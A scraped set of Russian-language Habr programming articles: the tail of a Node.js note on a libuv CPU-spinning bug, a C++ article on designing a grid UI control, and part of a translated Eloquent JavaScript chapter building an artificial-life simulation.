Код простого приложения для повторения этого бага [находится тут](https://github.com/ukrbublik/nodejs-debug-notes/tree/master/2-ws-bug).
Смысл в том, что приложение запускает WebSocket-сервер (на [socket-io](https://socket.io/)) и запускает один дочерний процесс через `child_process.fork()`. Следующая последовательность действий гарантированно вызывает 100% загрузку 1 ядра CPU:
1. К WS-северу подключается клиент
2. Дочерний процесс завершается и пересоздается
3. Клиент отключается от WS
Причем приложение все еще работает, Express сервер отвечает на запросы.
Вероятно, баг находится в `libuv`, а не в самой ноде. Истинную причину этого бага и исправляющий его коммит в changelog’ах я не нашел. Легкое “гугление” привело к подобным багам в старых версиях:
[<https://github.com/joyent/libuv/issues/1099>](https://github.com/joyent/libuv/issues/1099)
[<https://github.com/nodejs/node-v0.x-archive/issues/6271>](https://github.com/nodejs/node-v0.x-archive/issues/6271)
Решение простое — обновить ноду до v8.5.0+.
4. Используйте дочерние процессы
--------------------------------
Если в вашем серверном приложении есть ресурсоемкий код, изрядно нагружающий CPU, хорошим решением может стать вынесение его в отдельный дочерний процесс. Например, это может быть серверный рендеринг React-приложения.
Создайте отдельное NodeJs-приложение и запускайте его из главного через [`child_process.fork()`](https://nodejs.org/api/child_process.html#child_process_child_process_fork_modulepath_args_options). Для связи между процессами используйте `IPC`-канал. Разработать систему обмена сообщениями между процессами довольно легко, ведь `ChildProcess` — потомок `EventEmitter`.
Но помните, что создавать слишком большое количество дочерних NodeJs процессов не рекомендуется.
Говоря о производительности, другой не менее важной метрикой является потребление RAM. Существуют инструменты и техники для поиска утечек памяти, но это тема для отдельной статьи. | https://habr.com/ru/post/344672/ | null | ru | null |
# Элемент управления Grid… продолжение 1
В первом [посте](http://habrahabr.ru/post/203968/) мы разбили функциональность грида на несколько классов. Давайте еще раз быстренько их опишем:
* Lines — представляет набор колонок или строк.
* Range — oписывает любую совокупность ячеек.
* Layout — позволяет размещать данные внутри ячейки.
* Model — определяет интерфейс доступа к данным для View и Controller.
* View — показывает информацию в ячейке.
* Controller — позволяет пользователю менять данные.
* CacheCell — кеширует данные для видимой ячейки.
* CacheGrid — кеширует данные для видимой части грида.
* GridWindow — специальный контрол.
Так же мы описали модели и вью для текстовых данных (ModelText, ModelTextCallback. ViewText). Давайте попробуем создать грид и привязать к нему текстовые данные. Новую функциональность, которая нужна для работы стандартного грида будем добавлять в виде специальных Model/View/Controller.
Для краткости буду опускать в коде указатели, shared\_ptr и т.п. Итак, поехали…
```
int main()
{
Application app;
// создаем окно
GridWindow grid_window("Demo");
// создаем модель текста
ModelTextCallback m;
m.getCallback = [](CellID cell)->String {
return String.Format("Item[%d, %d]", cell.row, cell.column);
};
// указываем гриду где, что и как рисовать
grid_window.AddData(RangeAll(), ViewText(m), LayoutAll());
// выставляем количество строк и столбцов
grid_window.SetRows(10);
grid_window.SetColumns(10);
// показываем окно
grid_window.Show(100, 100, 300, 300);
app.run();
}
```
Неплохо, только хочется как-то обособлять ячейки: рисовать либо через-полосицу, либо сетку. Давайте реализуем один, а потом другой вариант. Надеюсь код говорит сам за себя.
```
class ViewOddRowBackground: public View
{
public:
void Draw(DrawContext& dc, Rect rect, CellID cell) const override
{
// закрасить ячейку, если строка чётная
if (cell.row%2 == 0)
dc.FillRect(rect, ColorRGB(200, 200, 255));
}
};
void plugOddRowBackgroud(Grid& grid)
{
grid.AddData(RangeAll(), ViewOddRowBackground(), LayoutAll(Transparent));
}
```
Заметьте, мы в LayoutAll передали параметр Transparent, он говорит о том, что этот layout не будет модифицировать прямоугольник ячейки. Помните, что по умолчанию LayoutAll «забирает» всю свободную область ячейки и зануляет её. В режиме Transparent, он этого делать не будет и следующий за ним ViewText получит тот же оригинальный прямоугольник.
Осталось добавить вызов новой функции в main
```
GridWindow grid_window("Demo");
plugOddRowBackgroud(grid_window.GetGrid());
```
Теперь реализуем сетку.
```
class ViewCellBounds: public View
{
public:
void Draw(DrawContext& dc, Rect rect, CellID cell) const override
{
// нарисовать линию внизу ячейки
dc.Line(rect.BottomLeft(), rect.BottomRight());
// нарисовать линию у правого края ячейки
dc.Line(rect.TopRight(), rect.BottomRight());
}
};
void plugCellBounds(Grid& grid)
{
grid.AddData(RangeAll(), ViewCellBounds(), LayoutAll(Transparent));
}
...
GridWindow grid_window("Demo");
plugCellBounds(grid_window.GetGrid());
```
Следующим общим местом для всех гридов является понятие выделенных ячеек — selection. Предыдущие представления (views) не хранили никаких данных, поэтому модели для них мы не создавали. Здесь ситуация немного сложнее. Что же должно входить в ModelSelection? Во-первых, набор выделенных ячеек, а, во-вторых, координаты активной ячейки (это та ячейка, которая обычно выделена рамочкой, и с помощью клавиатуры мы работаем именно с этой ячейкой). Пишем код:
```
class ModelSelection: public Model
{
public:
Range GetSelectedRange() const { return m_selected_range; }
void SetSelectedRange(Range new_selected_range)
{
m_selected_range = new_selected_range;
changed.invoke(*this);
}
CellID GetActiveCell() const { return m_active_cell; }
void SetActiveCell(CellID new_active_cell)
{
m_active_cell = new_active_cell;
changed.invoke(*this);
}
private:
Range m_selected_range;
CellID m_active_cell;
};
class ViewSelection: public View
{
public:
ViewSelection(ModelSelection selection)
: m_selection(selection)
{}
void Draw(DrawContext& dc, Rect rect, CellID cell) const override
{
// если ячейка активная -> рисуем рамку
if (m_selection.GetActiveCell() == cell)
dc.DrawFrame(rect);
// если ячейка выделена -> закрашиваем область
// и меняем текущий цвет для текста
if (m_selection.GetSelectedRange().HasCell(cell))
{
dc.FillRect(rect, ColorSelectedBackground);
dc.SetTextColor(ColorSelectedText);
}
}
private:
ModelSelection m_selection;
};
ModelSelection plugSelection(Grid& grid)
{
ModelSelection selection;
grid.AddData(RangeAll(), ViewSelection(selection), LayoutAll(Transparent));
return selection;
}
...
GridWindow grid_window("Demo");
plugCellBounds(grid_window.GetGrid());
plugSelection(grid_window.GetGrid());
```
Реализацию контроллера я опускаю ради экономии места. Поверьте, там тоже всё просто: по нажатию левой клавиши мыши меняем активную ячейку на ту, что под мышкой. При перемещении мыши и отпускании левой клавиши — создаем специальный Range, который описывает прямоугольный блок ячеек от активной (где мы зажали кнопку), до текущей. Задаем этот Range в selection. Еще надо учитывать состояние клавиш Shift и Ctrl, но это детали. В итоге получаем следующую картинку.
Что бы дать возможность пользователю менять размер строк и столбцов, нам нужно реализовать специальный контроллер, который, по нажатию кнопки мышки около края ячейки, запомнит положение мыши, а при отжатии мыши изменит ширину колонки на разницу между начальной точной и текущей. Надеюсь идея понятна. Стоит отметить, что контроллеры у нас «живут» в представлениях (views), поэтому нам надо создать фиктивный View, который ничего не рисует, а лишь определяем прямоугольник, в котором будет активизироваться контроллер.
Довольно часто гриды имеют заголовок — часть грида, которая всегда остается в верхней части окна. Иногда есть похожая конструкция слева (обычно там пишут номер строки). При скроллинге эти области остаются на своих местах. Давайте посмотрим, как заголовок может выглядеть у нас:
Очень похоже на грид, состоящий из одной строки и такого же количества столбцов, что и оригинальный грид. Тогда можно сказать, что заголовок — это грид, колонки которого синхронизированы с колонками оригинального грида (по сути в двух гридах используется один и тот же экземпляр Lines для колонок). Этот грид расположен в верхней части окна и скроллируется только по горизонтали. Подобное утверждение можно сказать про левую фиксированную часть, только там синхронизируются строки. Таким образом у нас в классе GridWindow живут четыре CacheGrid вместо одного.
Пойдем еще дальше и скажем, что фиксированные области могут быть с любых сторон.
Итак, класс GridWindow у нас усложнился — вместо одного CacheGrid, у нас появилось их девять штук. Функции отрисовки, скроллирования, обработки мышиных событий должны тоже усложниться. Я предлагаю здесь остановиться и внимательно посмотреть на последний рисунок. Издалека он похож на область, разбитую на девять под-областей в три строки и три колонки. Похоже на грид с тремя строками и колонками, в ячейках которого отображаются другие гриды. По определению у нас View настолько универсальный, что может отображать любую сущность. Так давайте создадим View, который в ячейке отображает некоторый грид. Для нашего случая с девятью гридами мы получим примерно следующие классы:
```
class ModelGrid: public Model
{
public:
ModelGrid();
CacheGrid GetGrid(CellID cell) const { return m_grids[cell.row][cell.column]; }
private:
CacheGrid m_grids[3][3];
};
class ViewGrid: public View
{
public:
ViewGrid(ModelGrid model)
:m_model(model)
{}
void Draw(DrawContext& dc, Rect rect, CellID cell) const override
{
CacheGrid cacheGrid = m_model.GetGrid(cell);
cacheGrid.Draw(dc);
}
};
```
В конструкторе ModelGrid создаются девять объектов CacheGrid и синхронизируются строки и столбцы. Так же не трудно реализуется контроллер. Если мы добавим ViewGrid к нашему старому классу GridWindow, который имел только один объект CacheGrid, то нам нет нужды создавать новый тип GridWindow. Единственное отличие — позицию скроллбаров нам нужно передавать в подгриды: игнорировать позицию скроллов будут угловые гриды (Top/Left, Top/Right, Botton/Right, Bottom/Left), по горизонтали будут скроллироваться Top и Bottom гриды, по вертикали — Left и Right. Ну а центральный Client грид будет скроллироваться по всем сторонам. При этом код отрисовки и взаимодействия с мышью у нас останется прежним.
Здесь опять остановимся и посмотрим, какой манёвр мы только что совершили? В начале у нас было утверждение — грид это набор ячеек, а ячейка — это место, где отображается всё что угодно. Теперь получается, что ячейка может отображать всё что угодно, включая грид. Цепочка замкнулась — грид рисует ячейки, ячейки рисуют грид. Тут возникает философский вопрос о курице и яйце. Что первично? Грид, который состоит из ячеек, или ячейка, которая может представлять всё что угодно, включая грид. Похоже, что понятие ячейки более универсально. Помните класс CellCache из первой статьи — в нем первым делом тройки фильтровались по Range, то есть по сути ячейка должна потом хранить не тройки, а двойки — которые описывают, что и где в ячейке рисовать. CellCache умеет себя рисовать и обрабатывать события мышки (передавая их в нужный контроллер), при этом нигде не упоминается Grid.
А что, если мы создадим класс окна, который будет рисовать не CacheGrid, а CacheCell? Тогда мы получим не класс окна грида, а более универсальный элемент управления, в который мы просто, в виде двоек , задаём что и где рисовать. Например, комбинация {, } нам даёт стандартный контрол управления чекбокс. Другие комбинации дадут другие типы контролов, причем разные Layouts дают нам возможность располагать Views в любой конфигурации. Например чекбокс справа текста, снизу, сверху — как угодно.
Давайте назовем такое окно ItemWindow (ячейка — это понятие тесно связанное с гридом, item — более нейтрален). У меня получилась иерархия из трех классов:
1. ItemWindow — универсальный контрол, содержит в себе один экземпляр CacheCell. По сути всё окно представляет из себя одну ячейку.
2. ListWindow — наследник ItemWindow. В экземпляр CacheCell добавляет ViewGrid, который будет рисовать в ячейке один грид. Этот вариант хорош для простых списков без фиксированных областей (заголовок и т.п.)
3. GridWindow — наследник ListWindow. Делает грид, объявленный в ListWindow, с тремя строками и колонками. Задаёт на этом гриде еще один ViewGrid, который рисует девять подгридов. Это контрол для тех, кому нужны заголовки
Как правило, когда разрабатывают библиотеку визуальных компонентов, то определяют сначала простые типы окон, потом переходят к более сложным (item based). В этот момент базовые понятия окна уже зафиксированны и не учитывают специфику item-based окон. Поэтому для них придумывают какие-то другие абстракции, никак не связанные с базовыми понятиями окна. В результате не получается органично использовать простые и сложные контролы вместе. Мы же пошли от сложного контрола и пришли в итоге к простым окнам. Но их структура немного сложнее, чем в обычных оконных фреймворках. Зато мы получаем универсальность — Views и Layouts у нас используются и в простых контролах (ItemWindow) и в более сложных. Получается один раз реализовав ViewCheck, мы можем использовать его как простой контрол и как подэлемент грида.
Статья получилась довольно длинной и сложной, поэтому пока закончу. Если что-то вам покажется непонятным или неправильным, прошу писать комментарии, я подредактирую статью. Таким образом статья для всех станет проще и понятнее.
В следующей статье я опишу, как можно сделать introspection для нашего окна. Любой инструмент, способный посылать сообщения окну и интерпретировать последовательность байт будет способен «общаться» с гридом. Это позволит нам сделать байндинг к гриду на питоне и делать автоматическое тестирование нашего контрола. Так же расскажу как в моей схеме реализуются всякие «вкусняшки» из devexpress. Как я уже говорил, работающий прототип данной архитектуры уже существует, так что реализовать её в open source будет не сложно. | https://habr.com/ru/post/204374/ | null | ru | null |
# Выразительный JavaScript: проект: Электронная жизнь
#### Содержание
* [Введение](http://habrahabr.ru/post/240219/)
* [Величины, типы и операторы](http://habrahabr.ru/post/240223/)
* [Структура программ](http://habrahabr.ru/post/240225/)
* [Функции](http://habrahabr.ru/post/240349/)
* [Структуры данных: объекты и массивы](http://habrahabr.ru/post/240813/)
* [Функции высшего порядка](http://habrahabr.ru/post/241155/)
* [Тайная жизнь объектов](http://habrahabr.ru/post/241587/)
* [Проект: электронная жизнь](http://habrahabr.ru/post/241776/)
* [Поиск и обработка ошибок](http://habrahabr.ru/post/242609/)
* [Регулярные выражения](http://habrahabr.ru/post/242695/)
* [Модули](http://habrahabr.ru/post/243273/)
* [Проект: язык программирования](http://habrahabr.ru/post/243277/)
* [JavaScript и браузер](http://habrahabr.ru/post/243311/)
* [Document Object Model](http://habrahabr.ru/post/243815/)
* [Обработка событий](http://habrahabr.ru/post/244041/)
* [Проект: игра-платформер](http://habrahabr.ru/post/244405/)
* [Рисование на холсте](http://habrahabr.ru/post/244545/)
* [HTTP](http://habrahabr.ru/post/245145/)
* [Формы и поля форм](http://habrahabr.ru/post/245731/)
* [Проект: Paint](http://habrahabr.ru/post/245767/)
* [Node.js](http://habrahabr.ru/post/245775/)
* [Проект: веб-сайт по обмену опытом](http://habrahabr.ru/post/246331/)
* [Песочница для кода](http://eloquentjavascript.net/code)
*Вопрос о том, могут ли машины думать так же уместен, как вопрос о том, могут ли подводные лодки плавать.
Эдсгер Дейкстра, Угрозы вычислительной науке*
В главах-проектах я перестану закидывать вас теорией, и буду работать вместе с вами над программами. Теория незаменима при обучении программированию, но она должна сопровождаться чтением и пониманием нетривиальных программ.
Наш проект – постройка виртуальной экосистемы, небольшого мира, населённого существами, которые двигаются и борются за выживание.
#### Определение
Чтобы задача стала выполнимой, мы кардинально упростим концепцию мира. А именно – мир будет двумерной сеткой, где каждая сущность занимает одну клетку. На каждом ходу существа получат возможность выполнить какое-либо действие.
Таким образом, мы порубим время и пространство на единицы фиксированного размера: клетки для пространства и ходы для времени. Конечно, это грубое и неаккуратное приближение. Но наша симуляция должна быть развлекательной, а не аккуратной, поэтому мы свободно «срезаем углы».
Определить мир мы можем при помощи плана – массива строк, который раскладывает мировую сетку, используя один символ на клетку.
```
var plan = ["############################",
"# # # o ##",
"# #",
"# ##### #",
"## # # ## #",
"### ## # #",
"# ### # #",
"# #### #",
"# ## o #",
"# o # o ### #",
"# # #",
"############################"];
```
Символ “#” обозначает стены и камни, “o” – существо. Пробелы – пустое пространство.
План можно использовать для создания объекта мира. Он следит за размером и содержимым мира. У него есть метод toString, который преобразовывает мир в выводимую строчку (такую, как план, на котором он основан), чтобы мы могли наблюдать за происходящим внутри него. У объект мира есть метод turn (ход), позволяющий всем существам сделать один ход и обновляющий состояние мира в соответствии с их действиями.
#### Изображаем пространство
У сетки, моделирующей мир, заданы ширина и высота. Клетки определяются координатами x и y. Мы используем простой тип Vector (из упражнений к предыдущей главе) для представления этих пар координат.
```
function Vector(x, y) {
this.x = x;
this.y = y;
}
Vector.prototype.plus = function(other) {
return new Vector(this.x + other.x, this.y + other.y);
};
```
Потом нам нужен тип объекта, моделирующий саму сетку. Сетка – часть мира, но мы делаем из неё отдельный объект (который будет свойством мирового объекта), чтобы не усложнять мировой объект. Мир должен загружать себя вещами, относящимися к миру, а сетка – вещами, относящимися к сетке.
Для хранения сетки значений у нас есть несколько вариантов. Можно использовать массив из массивов-строк, и использовать двухступенчатый доступ к свойствам:
```
var grid = [["top left", "top middle", "top right"],
["bottom left", "bottom middle", "bottom right"]];
console.log(grid[1][2]);
// → bottom right
```
Или мы можем взять один массив, размера width × height, и решить, что элемент (x, y) находится в позиции x + (y × width).
```
var grid = ["top left", "top middle", "top right",
"bottom left", "bottom middle", "bottom right"];
console.log(grid[2 + (1 * 3)]);
// → bottom right
```
Поскольку доступ будет завёрнут в методах объекта сетки, внешнему коду всё равно, какой подход будет выбран. Я выбрал второй, потому что с ним проще создавать массив. При вызове конструктора Array с одним числом в качестве аргумента он создаёт новый пустой массив заданной длины.
Следующий код объявляет объект Grid (сетка) с основными методами:
```
function Grid(width, height) {
this.space = new Array(width * height);
this.width = width;
this.height = height;
}
Grid.prototype.isInside = function(vector) {
return vector.x >= 0 && vector.x < this.width &&
vector.y >= 0 && vector.y < this.height;
};
Grid.prototype.get = function(vector) {
return this.space[vector.x + this.width * vector.y];
};
Grid.prototype.set = function(vector, value) {
this.space[vector.x + this.width * vector.y] = value;
};
```
Элементарный тест:
```
var grid = new Grid(5, 5);
console.log(grid.get(new Vector(1, 1)));
// → undefined
grid.set(new Vector(1, 1), "X");
console.log(grid.get(new Vector(1, 1)));
// → X
```
#### Программный интерфейс существ
Перед тем, как заняться конструктором мира World, нам надо определиться с объектами существ, населяющих его. Я упомянул, что мир будет спрашивать существ, какие они хотят произвести действия. Работать это будет так: у каждого объекта существа есть метод act, который при вызове возвращает действие action. Это действие – объект со свойством `type`, называющим тип действия, которое хочет совершить существо, к примеру `»move"`. Действие может содержать дополнительную информацию — такую, как направление движения.
Существа ужасно близоруки и видят только непосредственно прилегающие к ним клетки. Но и это может пригодиться при выборе действий. При вызове метода act ему даётся объект view, который позволяет существу изучить прилегающую местность. Мы называем восемь соседних клеток их направлениями по компасу: “n” на север, “ne” на северо-восток, и т.п. Вот какой объект будет использоваться для преобразования из названий направлений в смещения по координатам:
```
var directions = {
"n": new Vector( 0, -1),
"ne": new Vector( 1, -1),
"e": new Vector( 1, 0),
"se": new Vector( 1, 1),
"s": new Vector( 0, 1),
"sw": new Vector(-1, 1),
"w": new Vector(-1, 0),
"nw": new Vector(-1, -1)
};
```
У объекта view есть метод look, который принимает направление и возвращает символ, к примеру "#", если там стена, или пробел, если там ничего нет. Объект также предоставляет удобные методы find и findAll. Оба принимают один из символов, представляющих вещи на карте, как аргумент. Первый возвращает направление, в котором этот предмет можно найти рядом с существом, или же null, если такого предмета рядом нет. Второй возвращает массив со всеми возможными направлениями, где найден такой предмет. Например, существо слева от стены (на западе) получит [«ne», «e», «se»] при вызове findAll у объекта view с аргументом “#”.
Вот простое тупое существо, которое просто идёт, пока не врезается в препятствие, а затем отскакивает в случайном направлении.
```
function randomElement(array) {
return array[Math.floor(Math.random() * array.length)];
}
var directionNames = «n ne e se s sw w nw».split(" ");
function BouncingCritter() {
this.direction = randomElement(directionNames);
};
BouncingCritter.prototype.act = function(view) {
if (view.look(this.direction) != " ")
this.direction = view.find(" ") || «s»;
return {type: «move», direction: this.direction};
};
```
Вспомогательная функция randomElement просто выбирает случайный элемент массива, используя Math.random и немного арифметики, чтобы получить случайный индекс. Мы и дальше будем использовать случайность, так как она – полезная штука в симуляциях.
Чтобы выбрать случайное направление движения, конструктор BouncingCritter вызывает randomElement на массиве с названиями направлений. Также мы могли бы использовать Object.keys, чтобы получить этот массив от определённого нами объекта directions, однако такой подход не даёт нам гарантий по поводу порядка полученного списка. В большинстве случаев современные интерптераторы JS вернут свойства в том порядке, в котором они были определены, но они не обязаны так делать.
Конструкция “|| «s»” в методе act нужна, чтобы this.direction не получил null, в случае если существо забилось в угол без свободного пространства вокруг – например, окружено другими существами.
#### Мировой объект
Теперь можно приступать к мировому объекту World. Конструктор принимает план (массив строк, представляющих сетку мира) и объект legend. Это объект, сообщающий, что означает каждый из символов карты. В нём есть конструктор для каждого символа – кроме пробела, который ссылается на null (представляющий пустое пространство).
```
function elementFromChar(legend, ch) {
if (ch == " ")
return null;
var element = new legend[ch]();
element.originChar = ch;
return element;
}
function World(map, legend) {
var grid = new Grid(map[0].length, map.length);
this.grid = grid;
this.legend = legend;
map.forEach(function(line, y) {
for (var x = 0; x < line.length; x++)
grid.set(new Vector(x, y),
elementFromChar(legend, line[x]));
});
}
```
В elementFromChar мы сначала создаём экземпляр нужного типа, находя конструктор символа и применяя к нему new. Потом добавляем свойство originChar, чтобы было просто выяснить, из какого символа элемент был создан изначально.
Нам понадобится это свойство originChar при изготовлении мирового метода toString. Метод строит карту в виде строки из текущего состояния мира, проходя двумерным циклом по клеткам сетки.
```
function charFromElement(element) {
if (element == null)
return " ";
else
return element.originChar;
}
World.prototype.toString = function() {
var output = "";
for (var y = 0; y < this.grid.height; y++) {
for (var x = 0; x < this.grid.width; x++) {
var element = this.grid.get(new Vector(x, y));
output += charFromElement(element);
}
output += "\n";
}
return output;
};
```
Стена wall – простой объект. Используется для занятия места и не имеет метода act.
```
function Wall() {}
```
Проверяя объект World, создав экземпляр с использованием плана, заданного в начале главы, и затем вызвав его метод toString, мы получим очень похожую на этот план строку.
```
var world = new World(plan, {"#": Wall, "o": BouncingCritter});
console.log(world.toString());
// → ############################
// # # # o ##
// # #
// # ##### #
// ## # # ## #
// ### ## # #
// # ### # #
// # #### #
// # ## o #
// # o # o ### #
// # # #
// ############################
```
this и его область видимости
В конструкторе World есть вызов forEach. Хочу отметить, что внутри функции, передаваемой в forEach, мы уже не находимся непосредственно в области видимости конструктора. Каждый вызов функции получает своё пространство имён, поэтому this внутри неё уже не ссылается на создаваемый объект, на который ссылается this снаружи функции. И вообще, если функция вызывается не как метод, this будет относиться к глобальному объекту.
Значит, мы не можем писать this.grid для доступа к сетке изнутри цикла. Вместо этого внешняя функция создаёт локальную переменную grid, через которую внутренняя функция получает доступ к сетке.
Это промах в дизайне JavaScript. К счастью, в следующей версии есть решение этой проблемы. А пока есть пути обхода. Обычно пишут
```
var self = this
```
и после этого работают с переменной self.
Другое решение – использовать метод bind, который позволяет привязаться к конкретному объекту this.
```
var test = {
prop: 10,
addPropTo: function(array) {
return array.map(function(elt) {
return this.prop + elt;
}.bind(this));
}
};
console.log(test.addPropTo([5]));
// → [15]
```
Функция, передаваемая в map – результат привязки вызова, и посему её this привязан к первому аргументу, переданному в bind, то есть переменной this внешней функции (в которой содержится объект test).
Большинство стандартных методов высшего порядка у массивов, таких как forEach и map, принимают необязательный второй аргумент, который тоже можно использовать для передачи this при вызовах итерационной функции. Вы могли бы написать предыдущий пример чуть проще:
```
var test = {
prop: 10,
addPropTo: function(array) {
return array.map(function(elt) {
return this.prop + elt;
}, this); // ← без bind
}
};
console.log(test.addPropTo([5]));
// → [15]
```
Это работает только с теми функциями высшего порядка, у которых есть такой контекстный параметр. Если нет – приходится использовать другие упомянутые подходы.
В нашей собственной функции высшего порядка мы можем включить поддержку контекстного параметра, используя метод call для вызова функции, переданной в качестве аргумента. К примеру, вот вам метод forEach для нашего типа Grid, вызывающий заданную функцию для каждого элемента решётки, который не равен null или undefined:
```
Grid.prototype.forEach = function(f, context) {
for (var y = 0; y < this.height; y++) {
for (var x = 0; x < this.width; x++) {
var value = this.space[x + y * this.width];
if (value != null)
f.call(context, value, new Vector(x, y));
}
}
};
```
#### Оживляем мир
Следующий шаг – создание метода turn (шаг) для мирового объекта, дающего существам возможность действовать. Он будет обходить сетку методом forEach, и искать объекты, у которых есть метод act. Найдя объект, turn вызывает этот метод, получая объект action и производит это действие, если оно допустимо. Пока мы понимаем только действие “move”.
Есть одна возможная проблема. Можете увидеть, какая? Если мы позволим существам двигаться по мере того, как мы их перебираем, они могут перейти на клетку, которую мы ещё не обработали, и тогда мы позволим им сдвинуться ещё раз, когда очередь дойдёт до этой клетки. Таким образом, нам надо хранить массив существ, которые уже сделали свой шаг, и игнорировать их при повторном проходе.
```
World.prototype.turn = function() {
var acted = [];
this.grid.forEach(function(critter, vector) {
if (critter.act && acted.indexOf(critter) == -1) {
acted.push(critter);
this.letAct(critter, vector);
}
}, this);
};
```
Второй параметр метода forEach используется для доступа к правильной переменной this во внутренней функции. Метод letAct содержит логику, которая позволяет существам двигаться.
```
World.prototype.letAct = function(critter, vector) {
var action = critter.act(new View(this, vector));
if (action && action.type == "move") {
var dest = this.checkDestination(action, vector);
if (dest && this.grid.get(dest) == null) {
this.grid.set(vector, null);
this.grid.set(dest, critter);
}
}
};
World.prototype.checkDestination = function(action, vector) {
if (directions.hasOwnProperty(action.direction)) {
var dest = vector.plus(directions[action.direction]);
if (this.grid.isInside(dest))
return dest;
}
};
```
Сначала мы просто просим существо действовать, передавая ему объект view, который знает про мир и текущее положение существа в мире (мы скоро зададим View). Метод act возвращает какое-либо действие.
Если тип действия не “move”, оно игнорируется. Если “move”, и если у него есть свойство direction, ссылающееся на допустимое направление, и если клетка в этом направлении пустует (null), мы назначаем клетке, где только что было существо, null, и сохраняем существо в клетке назначения.
Заметьте, что letAct заботится об игнорировании неправильных входных данных. Он не предполагает по умолчанию, что направление допустимо, или, что свойство типа имеет смысл. Такого рода защитное программирование в некоторых ситуациях имеет смысл. В основном это делается для проверки входных данных, приходящих от источников, которые вы не контролируете (ввод пользователя или чтение файла), но оно также полезно для изолирования подсистем друг от друга. В нашем случае его цель – учесть, что существа могут быть запрограммированы неаккуратно. Им не надо проверять, имеют ли их намерения смысл. Они просто запрашивают возможность действия, а мир сам решает, разрешать ли его.
Эти два метода не принадлежат к внешнему интерфейсу мирового объекта. Они являются деталями внутренней реализации. Некоторые языки предусматривают способы объявлять определённые методы и свойства «приватными», и выдавать ошибку при попытке их использования снаружи объекта. JavaScript не предусматривает такого, так что вам придётся полагаться на другие способы сообщить о том, что является частью интерфейса объекта. Иногда помогает использование схемы именования свойств для различения внутренних и внешних, например, с особыми приставками к именам внутренних, типа подчёркивания (\_). Это облегчит выявление случайного использования свойств, не являющихся частью интерфейса.
А пропущенная часть, тип View, выглядит следующим образом:
```
function View(world, vector) {
this.world = world;
this.vector = vector;
}
View.prototype.look = function(dir) {
var target = this.vector.plus(directions[dir]);
if (this.world.grid.isInside(target))
return charFromElement(this.world.grid.get(target));
else
return "#";
};
View.prototype.findAll = function(ch) {
var found = [];
for (var dir in directions)
if (this.look(dir) == ch)
found.push(dir);
return found;
};
View.prototype.find = function(ch) {
var found = this.findAll(ch);
if (found.length == 0) return null;
return randomElement(found);
};
```
Метод look вычисляет координаты, на которые мы пытаемся посмотреть. Если они находятся внутри сетки, то получает символ, соответствующий элементу, находящемуся там. Для координат снаружи сетки look просто притворяется, что там стена – если вы зададите мир без окружающих стен, существа не смогут сойти с края.
#### Оно двигается
Мы создали экземпляр мирового объекта. Теперь, когда все необходимые методы готовы, у нас должно получиться заставить его двигаться.
```
for (var i = 0; i < 5; i++) {
world.turn();
console.log(world.toString());
}
// → … пять ходов
```
Просто выводить пять копий карты – не очень удобный способ наблюдения за миром. Поэтому в песочнице для книги (или [в файлах для скачивания](http://eloquentjavascript.net/code/chapter/07_elife.zip)) есть волшебная функция animateWorld, которая показывает мир как анимацию на экране, делая по три шага в секунду, пока вы не нажмёте стоп.
```
animateWorld(world);
// → … заработало!
```
Реализация animateWorld пока останется тайной, но после прочтения следующих глав книги, обсуждающих интеграцию JavaScript в браузеры, она уже не будет выглядеть так загадочно.
#### Больше форм жизни
Одна из интересных ситуаций, происходящих в мире, случается, когда два существа отскакивают друг от друга. Можете придумать другую интересную форму взаимодействий?
Я придумал существо, двигающееся по стенке. Оно держит свою левую руку (лапу, щупальце, что угодно) на стене и двигается вдоль неё. Это, как оказалось, не так-то просто запрограммировать.
Нам нужно будет вычислять, используя направления в пространстве. Так как направления заданы набором строк, нам надо задать свою операцию dirPlus для подсчёта относительных направлений. dirPlus(«n», 1) означает поворот по часовой на 45 градусов с севера, что приводит к “ne”. dirPlus(«s», -2) означает поворот против часовой с юга, то есть на восток.
```
var directionNames = Object.keys(directions);
function dirPlus(dir, n) {
var index = directionNames.indexOf(dir);
return directionNames[(index + n + 8) % 8];
}
function WallFollower() {
this.dir = "s";
}
WallFollower.prototype.act = function(view) {
var start = this.dir;
if (view.look(dirPlus(this.dir, -3)) != " ")
start = this.dir = dirPlus(this.dir, -2);
while (view.look(this.dir) != " ") {
this.dir = dirPlus(this.dir, 1);
if (this.dir == start) break;
}
return {type: "move", direction: this.dir};
};
```
Метод act только сканирует окружение существа, начиная с левой стороны и дальше по часовой, пока не находит пустую клетку. Затем он двигается в направлении этой клетки.
Усложняет ситуацию то, что существо может оказаться вдали от стен на пустом пространстве — либо обходя другое существо, либо изначально оказавшись там. Если мы оставим описанный алгоритм, несчастное существо будет каждый ход поворачивать налево, и бегать по кругу.
Так что есть ещё одна проверка через if, что сканирование нужно начинать, если существо только что прошло мимо какого-либо препятствия. То есть, если пространство сзади и слева не пустое. В противном случае сканировать начинаем впереди, поэтому в пустом пространстве он будет идти прямо.
И наконец, есть проверка на совпадение this.dir и start на каждом проходе цикла, чтобы он не зациклился, когда существу некуда идти из-за стен или других существ, и оно не может найти пустую клетку.
Этот небольшой мир показывает существ, двигающихся по стенам:
```
animateWorld(new World(
["############",
"# # #",
"# ~ ~ #",
"# ## #",
"# ## o####",
"# #",
"############"],
{"#": Wall,
"~": WallFollower,
"o": BouncingCritter}
));
```
#### Более жизненная ситуация
Чтобы сделать жизнь в нашем мирке более интересной, добавим понятия еды и размножения. У каждого живого существа появляется новое свойство, energy (энергия), которая уменьшается при совершении действий, и увеличивается при поедании еды. Когда у существа достаточно энергии, он может размножаться, создавая новое существо того же типа. Для упрощения расчётов наши существа размножаются сами по себе.
Если существа только двигаются и едят друг друга, мир вскоре поддастся возрастающей энтропии, в нём закончится энергия и он превратится в пустыню. Для предотвращения этого финала (или оттягивания), мы добавляем в него растения. Они не двигаются. Они просто занимаются фотосинтезом и растут (нарабатывают энергию), и размножаются.
Чтобы это заработало, нам нужен мир с другим методом letAct. Мы могли бы просто заменить метод прототипа World, но я привык к нашей симуляции ходящих по стенам существ и не хотел бы её разрушать.
Одно из решений – использовать наследование. Мы создаём новый конструктор, LifelikeWorld, чей прототип основан на прототипе World, но переопределяет метод letAct. Новый letAct передаёт работу по совершению действий в разные функции, хранящиеся в объекте actionTypes.
```
function LifelikeWorld(map, legend) {
World.call(this, map, legend);
}
LifelikeWorld.prototype = Object.create(World.prototype);
var actionTypes = Object.create(null);
LifelikeWorld.prototype.letAct = function(critter, vector) {
var action = critter.act(new View(this, vector));
var handled = action &&
action.type in actionTypes &&
actionTypes[action.type].call(this, critter,
vector, action);
if (!handled) {
critter.energy -= 0.2;
